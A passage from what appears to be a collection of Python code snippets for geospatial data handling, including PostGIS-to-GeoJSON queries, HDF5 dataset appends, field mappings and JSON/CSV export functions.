\"\"\"SELECT row_to_json(fc) FROM \n ( SELECT 'FeatureCollection' As type, array_to_json(array_agg(f)) As features\n FROM (SELECT 'Feature' As type , ST_AsGeoJSON(lg.geom)::json As geometry, row_to_json(lp) As properties\n FROM exercise.states As lg INNER JOIN (SELECT gid,name FROM exercise.states) As lp\n ON lg.gid = lp.gid ) As f) As fc;\"\"\", (AsIs(settings.STATES_TABLE_NAME)))\n result = cur.fetchone()[0]\n\n #print(result)\n\n #make the result global\n GEOJSON = result\n return GEOJSON\n\n except Exception as e:\n raise Exception(e)\n\n finally:\n if conn: conn = None\n if cur: cur = None","def extract_mapping(self) -> DatasetMapping:\n # store fields\n fields = []\n for col in self.data.columns:\n #get field label\n label = col\n #get field type using PANDAS_TYPE (see apps.utils.utils)\n col_type = self.data[col].dtype\n field_type = PANDAS_TYPE[col_type]\n #set field\n field = FieldMapping(label=label, type=field_type)\n fields.append(field)\n self.mapping.append(label)\n return DatasetMapping(fields=fields)","def get_allpoints_geojson():\n\n # check the file was already downloaded\n global GEOJSON\n if GEOJSON: return GEOJSON\n\n conn = None\n cur = None\n try:\n\n conn = utils.pgconnect(**settings.DEFAULT_CONNECTION)\n cur = conn.cursor()\n cur.execute( \"\"\"SELECT row_to_json(fc) FROM \n ( SELECT 'FeatureCollection' As type, array_to_json(array_agg(f)) As features\n FROM (SELECT 'Feature' As type , ST_AsGeoJSON(lg.geom)::json As geometry, row_to_json(lp) As properties\n FROM %s As lg INNER JOIN (SELECT id,label,size FROM %s) As lp\n ON lg.id = lp.id ) As f) As fc;\"\"\", (AsIs(settings.BOOKMARKS_TABLE_NAME),AsIs(settings.BOOKMARKS_TABLE_NAME)))\n result = cur.fetchone()[0]\n\n #print(result)\n\n #make the result global\n GEOJSON = result\n return GEOJSON\n\n except Exception as e:\n raise Exception(e)\n\n finally:\n if conn: conn = None\n if cur: cur = None","def create(self, row):\n if not 'header_row' in self.__dict__:\n raise InvalidRecordProperty('Record is missing \"header_row\" property')\n if self.header_row == None:\n raise InvalidRecordProperty('Record \"header_row\" property is None')\n\n header_len = len(self.header_row)\n field_len = len(row)\n if header_len != field_len:\n raise InvalidRecordLength('Record length does not equal header_row')\n\n # default coordinates are null\n coordinates = [None, None]\n\n position= 0\n for field in row:\n header = self.map_header(self.header_row[position])\n #logging.debug('self.header_row[position]: %r', self.header_row[position])\n #logging.debug('header: %r', header)\n position += 1\n\n # we ignore none header\n if header == None:\n continue\n\n # we ignore empty header\n if Record.is_empty_str(header):\n continue\n\n # special case for unique id\n if header.lower() == 'code':\n if not Record.is_empty_str(field):\n self.id = field;\n continue\n\n # special cases to convert to geoJSON\n # Always list coordinates in longitude, latitude order.\n if header.lower() == 'longitude':\n if Record.could_be_float(field):\n coordinates[0] = float(field)\n continue\n if header.lower() == 'latitude':\n if Record.could_be_float(field):\n coordinates[1] = float(field)\n continue\n\n # all other cases set data-type based on schema\n self.set_field_by_schema(header, field)\n\n #we cannot have invalid geoJSON objects in mongoDB\n if AirportRecord.is_valid_coordinate_pair(coordinates):\n loc = {\n 'type': 'Point',\n 'coordinates': coordinates\n }\n else:\n loc = None\n\n #add the geoJSON 'loc'\n self.fields['loc'] = loc","def test_to_geojson(self):\n fc = self.read_feature()\n dest_filename = str(self.datadir.join('test.geojson'))\n fc.to_geojson(dest_filename)\n fc_check = read_feature_collection(dest_filename)\n self.check_feature(fc_check.features[0])","def create(self, new_feature):\n\n all_data = self._load()\n\n if self.id_field not in new_feature and\\\n self.id_field not in new_feature['properties']:\n new_feature['properties'][self.id_field] = str(uuid.uuid4())\n\n all_data['features'].append(new_feature)\n\n with open(self.data, 'w') as dst:\n dst.write(json.dumps(all_data))","def insert_data(table, jsonfile):\n with open(jsonfile) as infile:\n data = json.load(infile)\n table_models_map[table]['insert'](data)","def add_geomean_to_product_data(product, prop_name, geomean_val):\n\tfor prop_data_list in product['data']:\n\t\tif prop_data_list[0] == prop_name:\n\t\t\t# prop_data_list.append(geomean_val)\n\t\t\tprop_data_list.insert(len(prop_data_list)-1, roundData(prop_name, geomean_val)) # inserts geomean before Measured column\n\treturn product","def _extend_run_record_data_field(self, run_idx, run_record_key,\n field_name, field_data):\n\n records_grp = self.h5['{}/{}/{}'.format(RUNS, run_idx, run_record_key)]\n field = records_grp[field_name]\n\n # make sure this is a feature vector\n assert len(field_data.shape) > 1, \\\n \"field_data must be a feature vector with the same number of dimensions as the number\"\n\n # of datase new frames\n n_new_frames = field_data.shape[0]\n\n # check whether it is a variable length record, by getting the\n # record dataset dtype and using the checker to see if it is\n # the vlen special type in h5py\n if h5py.check_dtype(vlen=field.dtype) is not None:\n\n # if it is we have to treat it differently, since it\n # cannot be multidimensional\n\n # if the dataset has no data in it we need to reshape it\n if all([i == 0 for i in field.shape]):\n # initialize this array\n # if it is empty resize it to make an array the size of\n # the new field_data with the maxshape for the feature\n # dimensions\n field.resize( (n_new_frames,) )\n\n # set the new data to this\n for i, row in enumerate(field_data):\n field[i] = row\n\n # otherwise just add the data\n else:\n\n # resize the array but it is only of rank because\n # of variable length data\n field.resize( (field.shape[0] + n_new_frames, ) )\n\n # add each row to the newly made space\n for i, row in enumerate(field_data):\n field[(field.shape[0] - 1) + i] = row\n\n # if it is not variable length we don't have to treat it\n # differently\n else:\n\n # if this is empty we need to reshape the dataset to accomodate data\n if all([i == 0 for i in field.shape]):\n\n # check the feature shape against the maxshape which gives\n # the feature dimensions for an empty dataset\n assert field_data.shape[1:] == field.maxshape[1:], \\\n \"field feature dimensions must be the same, i.e. all but the first dimension\"\n\n # if it is empty resize it to make an array the size of\n # the new field_data with the maxshape for the feature\n # dimensions\n feature_dims = field.maxshape[1:]\n field.resize( (n_new_frames, *feature_dims) )\n\n # set the new data to this\n field[0:, ...] = field_data\n\n # otherwise just add the data\n else:\n # append to the dataset on the first dimension, keeping the\n # others the same, these must be feature vectors and therefore\n # must exist\n field.resize( (field.shape[0] + n_new_frames, *field.shape[1:]) )\n # add the new data\n field[-n_new_frames:, ...] = field_data","def read(self, file_info, **kwargs):\n\n # We need to import at least the standard fields\n user_fields = kwargs.pop(\"fields\", {})\n fields = self.standard_fields | set(user_fields)\n\n # We catch the user mapping here, since we do not want to deal with\n # user-defined names in the further processing. Instead, we use our own\n # mapping\n user_mapping = kwargs.pop(\"mapping\", None)\n\n # Load the dataset from the file:\n dataset = super().read(\n file_info, fields=fields, mapping=self.mapping, **kwargs\n )\n\n dataset[\"time\"] = self._get_time_field(dataset, file_info)\n\n # Remove fields that we do not need any longer (expect the user asked\n # for them explicitly)\n dataset = dataset.drop_vars(\n {\"UTC_start\", \"Profile_time\"} - set(user_fields),\n )\n\n if user_mapping is not None:\n dataset = dataset.rename(user_mapping)\n\n return dataset","def df_to_json(complete_dataset, output_path, static_columns):\n megajson = {}\n\n static_columns = [\"continent\", \"location\"] + list(static_columns)\n\n complete_dataset = complete_dataset.dropna(axis=\"rows\", subset=[\"iso_code\"])\n\n for _, row in complete_dataset.iterrows():\n\n row_iso = row[\"iso_code\"]\n row_dict_static = row.drop(\"iso_code\")[static_columns].dropna().to_dict()\n row_dict_dynamic = row.drop(\"iso_code\").drop(static_columns).dropna().to_dict()\n\n if row_iso not in megajson:\n megajson[row_iso] = row_dict_static\n megajson[row_iso][\"data\"] = [row_dict_dynamic]\n else:\n megajson[row_iso][\"data\"].append(row_dict_dynamic)\n\n with open(output_path, \"w\") as file:\n file.write(json.dumps(megajson, indent=4))","def __h5_geo_data(self, geo_dsets):\n res = {}\n if geo_dsets is None:\n geo_dsets = 'latitude,longitude'\n\n for key in geo_dsets.split(','):\n for grp_name in ['/PRODUCT', '/PRODUCT/SUPPORT_DATA/GEOLOCATIONS']:\n if key in self.fid[grp_name]:\n res[key] = np.squeeze(\n self.fid['{}/{}'.format(grp_name, key)])\n continue\n\n return res","def add_to_col(self, col: int, data_dict: dict):\n for key, val in data_dict.items():\n self.data.at[key, col] = val","def get_geojson(self):\r\n self.get_recordrange()\r\n [\r\n self.geojson.setter(n, self.get_data(\"geojson\", x))\r\n for n, x in enumerate(tqdm(self.iterlist))\r\n ]","def add_column(self, data, name=\"\"):\n # Check type for pandas dataframe or SArray?\n if not isinstance(data, SArray):\n raise TypeError(\"Must give column as SArray\")\n if not isinstance(name, str):\n raise TypeError(\"Invalid column name: must be str\")\n\n self.__is_dirty__ = True\n with cython_context():\n if self._is_vertex_frame():\n graph_proxy = self.__graph__.__proxy__.add_vertex_field(data.__proxy__, name)\n self.__graph__.__proxy__ = graph_proxy\n elif self._is_edge_frame():\n graph_proxy = self.__graph__.__proxy__.add_edge_field(data.__proxy__, name)\n self.__graph__.__proxy__ = graph_proxy","def register_area_polygon(self, area_description: str, geojson_polygon: str) -> None:\n\n ## first step, try to read colrow set if possible\n if os.path.isfile('area_collection.json'):\n with open('area_collection.json') as f:\n area_collection = json.load(f)\n else:\n area_collection = []\n\n ## second step, add all possible colrow in colrow_collection\n area_collection += [{\n 'area_description': area_description,\n 'polygon': self.read_geojson_polygon(geojson_polygon)\n }]\n\n ## third step, save the route_set.json\n with open('area_collection.json', 'w') as f:\n json.dump(area_collection, f)","def test_add_geo_distance_with_field_name():\n # When add a Geo Distance field with a field name\n t = GeoDistance({\"lat\": 1.0, \"lon\": 2.0}, \"20mi\", field_name=\"locations.location\")\n\n # Then I see the appropriate JSON\n results = {\n \"geo_distance\": {\n \"distance\": \"20mi\",\n \"locations.location\": {\n \"lat\": 1.0,\n \"lon\": 2.0\n }\n }\n }\n\n homogeneous(t, results)","def write_json(self, filename):\n data = {\n \"fleets\": json.loads(self.manager_df.to_json(orient=\"records\")),\n \"transports\": json.loads(self.transport_df.to_json(orient=\"records\")),\n \"customers\": json.loads(self.customer_df.to_json(orient=\"records\")),\n \"stations\": json.loads(self.station_df.to_json(orient=\"records\")),\n \"simulation\": json.loads(self.df_avg.to_json(orient=\"records\"))\n }\n\n with open(filename, 'w') as f:\n f.seek(0)\n json.dump(data, f, indent=4)","def test_pos_operate_incr_with_geospatial_new_record(self):\n key = (\"test\", \"demo\", \"geospatial_key\")\n\n llist = [\n {\n \"op\": aerospike.OPERATOR_INCR,\n \"bin\": \"geospatial\",\n \"val\": aerospike.GeoJSON({\"type\": \"Point\", \"coordinates\": [42.34, 58.62]}),\n },\n {\"op\": aerospike.OPERATOR_READ, \"bin\": \"geospatial\"},\n ]\n\n (key, _, bins) = TestOperate.client_no_typechecks.operate(key, llist)\n\n assert bins[\"geospatial\"].unwrap() == {\"coordinates\": [42.34, 58.62], \"type\": \"Point\"}\n TestOperate.client_no_typechecks.remove(key)","def add_field(self, field):\n self.covs_ds[\"num_times\"] += 1\n self.covs_ds[\"sum\"] += field\n self.covs_ds[\"sumsq\"] += np.ma.multiply(field, field)\n\n if 'dstn' in self.covs_ds.dims:\n errorCovs = ForecastErrorCovs(wrap=self.wrap)\n distances = range(self.covs_ds.dims['dstn'])\n self.covs_ds[self.nam_sumsq_var].load()\n if not self.vert:\n self.covs_ds[self.nam_sumsq_var][:] += errorCovs.calc_xy_sq(self.covs_shape,\n distances, field.values)\n else:\n self.covs_ds[self.nam_sumsq_var][:] += errorCovs.calc_xyz_sq_vert(self.covs_shape,\n distances, field.values)","def writeIndex(map_data, field_name, maximize=True):\n ids = map_data['id']\n values = map_data[field_name]\n\n nominal_weight = 1.0 if maximize else -1.0\n index = values / (nominal_weight * values.max())\n\n toJson(field_name, pd.DataFrame({'id': ids, 'counts': index}))","def createFieldMapping(sgidPoints):\n # Create field mappings\n sgidFMs = arcpy.FieldMappings()\n\n # Perform some field renaming\n mapPairs = [\n ('State', 'State'),\n ('City', 'Inc_Muni'),\n ('CountyID', 'County'),\n ('ZipCode', 'Zip_Code'),\n ('PrefixDir', 'StN_PreDir'),\n ('StreetName', 'StreetName'),\n ('StreetType', 'StN_PosTyp'),\n ('SuffixDir', 'StN_PosDir'),\n ('AddNum', 'Add_Number'),\n ('LandmarkName', 'landmkName'),\n ('Building', 'Building'),\n ('UnitType', 'Unit'),\n ('AddSource', 'AddAuth'),\n ('AddSystem', 'UniqWithin'),\n ('LoadDate', 'LastUpdate')]\n\n for p in mapPairs:\n print p\n sgidFMs.addFieldMap(getRenameFieldMap(sgidPoints, p[0], p[1]))\n\n return sgidFMs","def render_single(self, data):\n try:\n data['type'] = \"Feature\"\n data['geometry'] = json.loads(data.get('location').pop('geometry'))\n return data\n except:\n return data","def add_reference_terrain(self, terrain_info):\n for p in terrain_info['features']:\n if (p['geometry']['type'] == 'Polygon'):\n # creating a new polygon\n new_poly = Polygon(p['geometry']['coordinates'])\n self.terrain_poly.append(new_poly)\n self.terrain_z0.append(p['properties']['z0'])\n self.terrain_num += 1","def merge_location_features_in_one(coords):\n\tgeojson_dict = []\n\tfor element in coords:\n\t\tgeojson_loc = frappe.parse_json(element[\"location\"])\n\t\tif not geojson_loc:\n\t\t\tcontinue\n\t\tfor coord in geojson_loc[\"features\"]:\n\t\t\tcoord[\"properties\"][\"name\"] = element[\"name\"]\n\t\t\tgeojson_dict.append(coord.copy())\n\n\treturn geojson_dict","def export_geojson(self):\n outputfile = tkinter.filedialog.asksaveasfilename(\n defaultextension=\".geojson\",\n filetypes=((\"geo json\", \"*.geojson\"),\n (\"All Files\", \"*.*\")))\n if outputfile:\n self.tabs.window.aistracker.create_geojson_map(outputfile)\n else:\n raise ExportAborted('Export cancelled by user.')","def read_geojson(filename):\n json_file = open(filename)\n data = json.load(json_file)\n json_file.close()\n times = data[\"properties\"][\"times\"]\n main_data = dict(timesteps=[], masks=[], x=[], y=[], i=[], j=[])\n attribute_data = dict()\n for feature in data[\"features\"]:\n for main_name in main_data.keys():\n main_data[main_name].append(np.array(feature[\"properties\"][main_name]))\n for k, v in feature[\"properties\"][\"attributes\"].items():\n if k not in attribute_data.keys():\n attribute_data[k] = [np.array(v)]\n else:\n attribute_data[k].append(np.array(v))\n kwargs = {}\n for kw in [\"dx\", \"step\", \"u\", \"v\"]:\n if kw in data[\"properties\"].keys():\n kwargs[kw] = data[\"properties\"][kw]\n sto = STObject(main_data[\"timesteps\"], main_data[\"masks\"], main_data[\"x\"], main_data[\"y\"],\n main_data[\"i\"], main_data[\"j\"], times[0], times[-1], **kwargs)\n for k, v in attribute_data.items():\n sto.attributes[k] = v\n return sto","def annotate_one(f_json):\n logger.info(f_json + '--->')\n \n filename = os.path.basename(f_json).split('.')[0] \n \n f_out = os.path.join(cfg.OUTPUT_PATH, filename + cfg.OUTPUT_SUFFIX) \n \n if not cfg.OUTPUT_OVERWRITE_EXISTING:\n if os.path.exists(f_out):\n logger.info(f_out + ' already exists')\n return f_out\n \n f_out = annotate_with_geonames(f_json, f_out)\n logger.info(f_out)\n \n return f_out","def add_geospatial_pdf_header(self, m, filename, epsg=None, wkt=None):\n if HAS_PYPDF and (epsg or wkt):\n infile = file(filename, 'rb')\n (outfd, outfilename) = tempfile.mkstemp(\n dir=os.path.dirname(filename))\n outfile = os.fdopen(outfd, 'wb')\n\n i = pyPdf.PdfFileReader(infile)\n o = pyPdf.PdfFileWriter()\n\n # preserve OCProperties at document root if we have one\n if pyPdf.generic.NameObject('/OCProperties') in i.trailer['/Root']:\n o._root.getObject()[pyPdf.generic.NameObject('/OCProperties')] = i.trailer[\n '/Root'].getObject()[pyPdf.generic.NameObject('/OCProperties')]\n\n for p in i.pages:\n gcs = pyPdf.generic.DictionaryObject()\n gcs[pyPdf.generic.NameObject(\n '/Type')] = pyPdf.generic.NameObject('/PROJCS')\n if epsg:\n gcs[pyPdf.generic.NameObject(\n '/EPSG')] = pyPdf.generic.NumberObject(int(epsg))\n if wkt:\n gcs[pyPdf.generic.NameObject(\n '/WKT')] = pyPdf.generic.TextStringObject(wkt)\n\n measure = pyPdf.generic.DictionaryObject()\n measure[pyPdf.generic.NameObject(\n '/Type')] = pyPdf.generic.NameObject('/Measure')\n measure[pyPdf.generic.NameObject(\n '/Subtype')] = pyPdf.generic.NameObject('/GEO')\n measure[pyPdf.generic.NameObject('/GCS')] = gcs\n bounds = pyPdf.generic.ArrayObject()\n for x in (0.0, 0.0, 0.0, 1.0, 1.0, 1.0, 1.0, 0.0):\n bounds.append(pyPdf.generic.FloatObject(str(x)))\n measure[pyPdf.generic.NameObject('/Bounds')] = bounds\n measure[pyPdf.generic.NameObject('/LPTS')] = bounds\n gpts = pyPdf.generic.ArrayObject()\n\n proj = Projection(m.srs)\n env = m.envelope()\n for x in ((env.minx, env.miny), (env.minx, env.maxy),\n (env.maxx, env.maxy), (env.maxx, env.miny)):\n latlon_corner = proj.inverse(Coord(*x))\n # these are in lat,lon order according to the standard\n gpts.append(pyPdf.generic.FloatObject(\n str(latlon_corner.y)))\n gpts.append(pyPdf.generic.FloatObject(\n str(latlon_corner.x)))\n measure[pyPdf.generic.NameObject('/GPTS')] = gpts\n\n vp = pyPdf.generic.DictionaryObject()\n vp[pyPdf.generic.NameObject(\n '/Type')] = pyPdf.generic.NameObject('/Viewport')\n bbox = pyPdf.generic.ArrayObject()\n\n for x in self.map_box:\n bbox.append(pyPdf.generic.FloatObject(str(x)))\n vp[pyPdf.generic.NameObject('/BBox')] = bbox\n vp[pyPdf.generic.NameObject('/Measure')] = measure\n\n vpa = pyPdf.generic.ArrayObject()\n vpa.append(vp)\n p[pyPdf.generic.NameObject('/VP')] = vpa\n o.addPage(p)\n\n o.write(outfile)\n infile = None\n outfile.close()\n os.rename(outfilename, filename)","def to_geojson(self, filename, varname='contours'):\n\n geojsoncontour = {\n \"type\": \"MultiPolygon\",\n \"coordinates\": [[[[x, y] for x, y in zip(self.x[cont], self.y[cont])]] for cont in\n range(0, self.get_contours_number)]\n }\n\n try:\n with open(os.path.join(filename), 'w') as f:\n f.write(\"\".join((\"var \", varname, \" = \")))\n out = json.dumps(geojsoncontour, indent=2, separators=(',', ': '))\n f.write(out)\n except FileNotFoundError:\n logger.error(\"Directory {} does not exist\".format(os.path.basename(filename)))\n raise FileNotFoundError('Directory does not exist')","def create_features_table():\n\n table_name = 'features'\n sql_query = f\"\"\"CREATE OR REPLACE TABLE `{GCP_PROJECT}.{BQ_TEMP_DATASET}.{table_name}`\n AS\n SELECT COALESCE(osm_id, osm_way_id) AS osm_id, osm_version, osm_timestamp, 'point' AS feature_type, all_tags, geometry FROM `{GCP_PROJECT}.{BQ_SOURCE_DATASET}.points` \n UNION ALL\n SELECT COALESCE(osm_id, osm_way_id) AS osm_id, osm_version, osm_timestamp, 'line' AS feature_type, all_tags, geometry FROM `{GCP_PROJECT}.{BQ_SOURCE_DATASET}.lines`\n UNION ALL\n SELECT COALESCE(osm_id, osm_way_id) AS osm_id, osm_version, osm_timestamp, 'multilinestring' AS feature_type, all_tags, geometry FROM `{GCP_PROJECT}.{BQ_SOURCE_DATASET}.multilinestrings`\n UNION ALL\n SELECT COALESCE(osm_id, osm_way_id) AS osm_id, osm_version, osm_timestamp, 'multipolygon' AS feature_type, all_tags, geometry FROM `{GCP_PROJECT}.{BQ_SOURCE_DATASET}.multipolygons`\n UNION ALL\n SELECT COALESCE(osm_id, osm_way_id) AS osm_id, osm_version, osm_timestamp, 'other_relation' AS feature_type, all_tags, geometry FROM `{GCP_PROJECT}.{BQ_SOURCE_DATASET}.other_relations` \n \"\"\"\n query_job = bq.query(sql_query)","def _assign_data(item, field, data, points):\n name = next(f for f in field['labels'] if item.startswith(f))\n if field['labels'][name] == 'time':\n data['time'] = _convert_time(points)\n elif field['labels'][name] == 'loading':\n data['loading'] = points\n for (u, c) in (('(mmol/', 'mmol'), ('(mol/', 'mol'), ('(cm³/', 'cm3(STP)')):\n if u in item:\n data['loading_unit'] = c\n for (u, c) in (('/g', 'g'), ('/kg', 'kg')):\n if u in item:\n data['adsorbent_unit'] = c\n elif field['labels'][name] in ['relative', 'absolute', 'saturation']:\n data['pressure'][field['labels'][name]] = points\n else:\n raise ValueError(\"Label name '{}' not recognized.\"\n .format(field['labels'][name]))","def _extract_features(self, row):\n ncep_data = self.ncep_data\n ncep_sfc_data = self.ncep_sfc_data\n date = row['date']\n features = dict(row)\n #reduce the dimensions of ncep_data(xarray dataset) by fixing coordinates(lon,lat)\n #and then convert it to dataframe\n ncep_data = ncep_data[date.year] \\\n .sel(lon=row['longitude'], lat=row['latitude'], method='nearest') \\\n .to_dask_dataframe() \\\n .compute() \\\n .set_index(['level','time'])\n #reduce the dimensions of ncep_sfc_data(xarray dataset) by fixing coordinates(lon,lat)\n #and then convert it to dataframe\n ncep_sfc_data = ncep_sfc_data[date.year] \\\n .sel(lon=row['longitude'], lat=row['latitude'], method='nearest') \\\n .to_dask_dataframe() \\\n .compute() \\\n .set_index(['time'])\n\n for level in self.levels:\n #features at different pressure level\n point = ncep_data.loc[level]\n p1w = point.rolling(7).mean() # 1 Week mean\n p2w = point.rolling(14).mean() # 2 Week mean\n p3w = point.rolling(21).mean() # 3 Week mean\n # \n v0w = point.loc[date]\n v1w = p1w.loc[date]\n v2w = p2w.loc[date]\n v3w = p3w.loc[date]\n #\n for data_var in self.ncep_data_vars:\n features[\"{0}_0w_lvl_{1}\".format(data_var,level)] = v0w[data_var]\n features[\"{0}_1w_lvl_{1}\".format(data_var,level)] = v1w[data_var]\n features[\"{0}_2w_lvl_{1}\".format(data_var,level)] = v2w[data_var]\n features[\"{0}_3w_lvl_{1}\".format(data_var,level)] = v3w[data_var]\n #features at surface level\n point = ncep_sfc_data\n p1w = point.rolling(7).mean() # 1 Week mean\n p2w = point.rolling(14).mean() # 2 Week mean\n p3w = point.rolling(21).mean() # 3 Week mean\n # \n v0w = point.loc[date]\n v1w = p1w.loc[date]\n v2w = p2w.loc[date]\n v3w = p3w.loc[date]\n #\n for data_var in self.ncep_sfc_data_vars:\n features[\"{0}_0w\".format(data_var)] = v0w[data_var]\n features[\"{0}_1w\".format(data_var)] = v1w[data_var]\n features[\"{0}_2w\".format(data_var)] = v2w[data_var]\n features[\"{0}_3w\".format(data_var)] = v3w[data_var] \n\n return features","def __createField(self, field):\n name = field['name']\n fType = field['type']\n fieldLength = None\n if 'shape' in name.lower():\n return\n elif \"String\" in fType:\n fieldType = \"TEXT\"\n fieldLength = field['length']\n elif \"Date\" in fType:\n fieldType = \"DATE\"\n elif \"SmallInteger\" in fType:\n fieldType = \"SHORT\"\n elif \"Integer\" in fType:\n fieldType = \"LONG\"\n elif \"Double\" in fType:\n fieldType = \"DOUBLE\"\n elif \"Single\" in fType:\n fieldType = \"FLOAT\"\n else:\n fieldType = \"Unknown\"\n featureClass = self.featureClassLocation + \"\\\\\" + self.name\n validatedName = arcpy.ValidateFieldName(name, self.featureClassLocation)\n arcpy.AddField_management(in_table=featureClass, field_name=name, field_type=fieldType, field_length=fieldLength)","def add_collection_map(self, collmap):\n sql_param = {}\n sql_param[str(len(sql_param) + 1)] = collmap[COL_NAME_COLLMAP_COLLID]\n coll_cond = SQLBinaryExpr(COL_NAME_COLLMAP_COLLID, OP_EQ, \":%d\" % (len(sql_param)))\n sql_param[str(len(sql_param) + 1)] = collmap[COL_NAME_COLLMAP_MEASID]\n coll_cond = SQLBinaryExpr(coll_cond, OP_AND,\n SQLBinaryExpr(COL_NAME_COLLMAP_MEASID, OP_EQ, \":%d\" % (len(sql_param))))\n\n if COL_NAME_COLLMAP_BEGINTIMESTAMP in collmap and collmap[COL_NAME_COLLMAP_BEGINTIMESTAMP] is not None:\n sql_param[str(len(sql_param) + 1)] = collmap[COL_NAME_COLLMAP_BEGINTIMESTAMP]\n coll_cond = SQLBinaryExpr(SQLBinaryExpr(COL_NAME_COLLMAP_BEGINTIMESTAMP,\n OP_EQ, \":%d\" % (len(sql_param))), OP_AND, coll_cond)\n\n if COL_NAME_COLLMAP_ENDTIMESTAMP in collmap and collmap[COL_NAME_COLLMAP_ENDTIMESTAMP] is not None:\n sql_param[str(len(sql_param) + 1)] = collmap[COL_NAME_COLLMAP_ENDTIMESTAMP]\n coll_cond = SQLBinaryExpr(SQLBinaryExpr(COL_NAME_COLLMAP_ENDTIMESTAMP,\n OP_EQ, \":%d\" % (len(sql_param))), OP_AND, coll_cond)\n\n entries = self.select_generic_data(table_list=[TABLE_NAME_COLLMAP], where=coll_cond, sqlparams=sql_param)\n if len(entries) <= 0:\n collmapid = self.add_generic_data(collmap, TABLE_NAME_COLLMAP,\n SQLUnaryExpr(OP_RETURNING, COL_NAME_COLLMAP_COLLMAPID))\n\n return collmapid\n else:\n tmp = \"File '%s' \" % collmap[COL_NAME_COLLMAP_MEASID]\n tmp += \"is already assigned to collection '%s'.\" % collmap[COL_NAME_COLLMAP_COLLID]\n if self.error_tolerance < ERROR_TOLERANCE_LOW:\n raise AdasDBError(tmp)\n else:\n warn(tmp)\n if len(entries) == 1:\n return entries[0][COL_NAME_COLLMAP_COLLMAPID]\n elif len(entries) > 1:\n tmp = \"Collection mapping of file '%s' \" % collmap[COL_NAME_COLLMAP_MEASID]\n tmp += \"cannot be resolved because it is ambiguous. (%s)\" % entries\n raise AdasDBError(tmp)","def parse_dat_row(self, row):\n self.obstacle_data['is_group'] = False\n for field in self.field_map:\n field_value = self.get_raw_value_from_dat_file(row, field)\n if field == 'marking':\n self.obstacle_data[field] = self.get_marking_value(field_value)\n elif field == 'lighting':\n self.obstacle_data[field] = 'U'\n elif field == 'obst_type':\n self.obstacle_data['obst_type_id'] = 1\n else:\n self.obstacle_data[field] = field_value","def annotate_with_geonames(f_json, f_out_json):\n try:\n ef_json = read_paper_json(f_json)\n \n annot_json = {}\n annot_json['paper_id'] = ef_json['paper_id']\n \n for part, jpath in cfg.JSON_TEXT_MAP.items():\n entities = get_nested_dict_value(ef_json, [part , 'entities'], default={})\n lang = get_nested_dict_value(ef_json, jpath[1], default=jpath[2])\n \n if entities:\n entities_df = pd.DataFrame.from_records(entities)\n candidates_df = pd.DataFrame()\n if 'wikidataId' in entities_df.columns:\n candidates_df = entities_df.loc[entities_df['wikidataId'].notna()] \\\n .loc[entities_df['rawName'].fillna('').str[0].str.isupper()] \n locations_df = pd.DataFrame()\n if 'type' in entities_df.columns:\n #try to disambiguate type=LOCATION\n locations_df = entities_df.loc[entities_df['type'].fillna('') == 'LOCATION']\n locations_df[['wikidataId', 'confidence_score']] = list(locations_df['rawName'].apply(disambiguate_location, lang=lang))\n locations_df = locations_df.loc[locations_df['wikidataId'].notna()] \n \n candidates_df = pd.concat([candidates_df,\n locations_df ]).fillna('')\n \n \n if candidates_df.shape[0] > 0:\n # Look up concepts for GeoNames ID\n candidates_df['GeoNamesID'] = candidates_df['wikidataId'].apply(lookup_concept)\n geonames_df = candidates_df.loc[candidates_df['GeoNamesID'].notna()] \n \n #store_for_analysis(annot_json['paper_id'], part,candidates_df)\n \n if geonames_df.shape[0] > 0:\n annot_json[part] = ef_json[part]\n annot_json[part].pop('global_categories', None)\n annot_json[part]['date'] = str(datetime.datetime.now())\n # assign entities\n annot_json[part] ['entities'] = geonames_df.to_dict(orient='records')\n\n\n annot_json = {k: v for k, v in annot_json.items() if v}\n\n save_paper_json(f_out_json, annot_json)\n \n except Exception as e:\n logger.exception('%s: %s', f_json, str(e))\n\n return f_out_json","def create_table(f, geoinfo):\n bounds_cols = xb_points + yb_points\n df = pd.read_csv(f, delimiter=\";\", index_col=\"INDEX_RC\")\n df[duration_name] = parse_duration_level(f)\n df = df.join(geoinfo[[\"X_CENT_GEO\", \"Y_CENT_GEO\", \"Col\", \"Row\"]])\n df = df.rename(columns={\"Col\": x, \"Row\": y, \"X_CENT_GEO\": lon, \"Y_CENT_GEO\": lat})\n return df","def add_col(self):\r\n reader = csv.reader(open(self.in_csvfile, newline=''))\r\n rows = list(reader)\r\n rows[0].append(self.col_name)\r\n for i in range(1, len(rows)):\r\n rows[i].append(self.cell_filler(rows[i]))\r\n writer = csv.writer(open(self.out_csvfile, 'w', newline=''))\r\n writer.writerows(rows)","def _extend_contiguous_traj_field(self, run_idx, traj_idx, field_path, field_data):\n\n traj_grp = self.h5['{}/{}/{}/{}'.format(RUNS, run_idx, TRAJECTORIES, traj_idx)]\n field = traj_grp[field_path]\n\n # make sure this is a feature vector\n assert len(field_data.shape) > 1, \\\n \"field_data must be a feature vector with the same number of dimensions as the number\"\n\n # of datase new frames\n n_new_frames = field_data.shape[0]\n\n # check the field to make sure it is not empty\n if all([i == 0 for i in field.shape]):\n\n # check the feature shape against the maxshape which gives\n # the feature dimensions for an empty dataset\n assert field_data.shape[1:] == field.maxshape[1:], \\\n \"field feature dimensions must be the same, i.e. all but the first dimension\"\n\n # if it is empty resize it to make an array the size of\n # the new field_data with the maxshape for the feature\n # dimensions\n feature_dims = field.maxshape[1:]\n field.resize( (n_new_frames, *feature_dims) )\n\n # set the new data to this\n field[0:, ...] = field_data\n\n else:\n # make sure the new data has the right dimensions against\n # the shape it already has\n assert field_data.shape[1:] == field.shape[1:], \\\n \"field feature dimensions must be the same, i.e. all but the first dimension\"\n\n\n # append to the dataset on the first dimension, keeping the\n # others the same, these must be feature vectors and therefore\n # must exist\n field.resize( (field.shape[0] + n_new_frames, *field.shape[1:]) )\n # add the new data\n field[-n_new_frames:, ...] = field_data","def make_conn_list(self, filename):\n geojsonfile.write_geojson_file(self.conn_data,\n filename,\n and_properties=True)","def _write_comid_lat_lon_z(self):\r\n #only add if user adds\r\n if self.comid_lat_lon_z_file and os.path.exists(self.comid_lat_lon_z_file):\r\n #get list of COMIDS\r\n lookup_table = csv_to_list(self.comid_lat_lon_z_file )\r\n lookup_comids = np.array([int(float(row[0])) for row in lookup_table[1:]])\r\n \r\n # Get relevant arrays while we update them\r\n nc_comids = self.cf_nc.variables[self.output_id_dim_name][:]\r\n lats = self.cf_nc.variables['lat'][:]\r\n lons = self.cf_nc.variables['lon'][:]\r\n zs = self.cf_nc.variables['z'][:]\r\n \r\n lat_min = 